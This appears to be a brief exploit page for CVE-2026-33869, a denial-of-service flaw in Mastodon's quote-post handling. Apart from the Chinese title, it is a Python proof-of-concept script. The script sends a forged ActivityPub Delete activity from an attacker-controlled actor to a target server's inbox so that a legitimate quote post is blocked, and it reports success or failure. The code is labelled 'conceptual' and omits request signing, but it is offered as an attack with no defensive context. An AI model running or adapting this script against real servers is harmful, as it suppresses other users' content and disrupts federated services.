CVE-2026-33869 Mastodon引用处理拒绝服务漏洞

import requests import json # Conceptual Proof of Concept for CVE-2026-33869 # This script demonstrates how an attacker might preemptively send a request # to block a legitimate quote post from being processed. def send_preemptive_delete(target_inbox, object_id, actor_url): """ Sends a Delete activity to the target inbox to remove an object before it is processed. """ headers = { "Content-Type": "application/activity+json" } # Construct a malicious ActivityPub 'Delete' payload payload = { "@context": "https://www.w3.org/ns/activitystreams", "id": f"{actor_url}#delete-{object_id}", "type": "Delete", "actor": actor_url, "object": object_id, "to": ["https://www.w3.org/ns/activitystreams#Public"] } try: response = requests.post(target_inbox, data=json.dumps(payload), headers=headers) if response.status_code == 200 or response.status_code == 202: print(f"[+] Success: Preemptive request sent for {object_id}") print("[+] The legitimate quote may now be blocked on the target server.") else: print(f"[-] Failed: Server returned {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example configuration TARGET_SERVER_INBOX = "https://target-mastodon-instance.com/inbox" QUOTE_OBJECT_ID = "https://original-server.com/objects/quote-12345" ATTACKER_ACTOR = "https://attacker-controlled.com/actor" send_preemptive_delete(TARGET_SERVER_INBOX, QUOTE_OBJECT_ID, ATTACKER_ACTOR)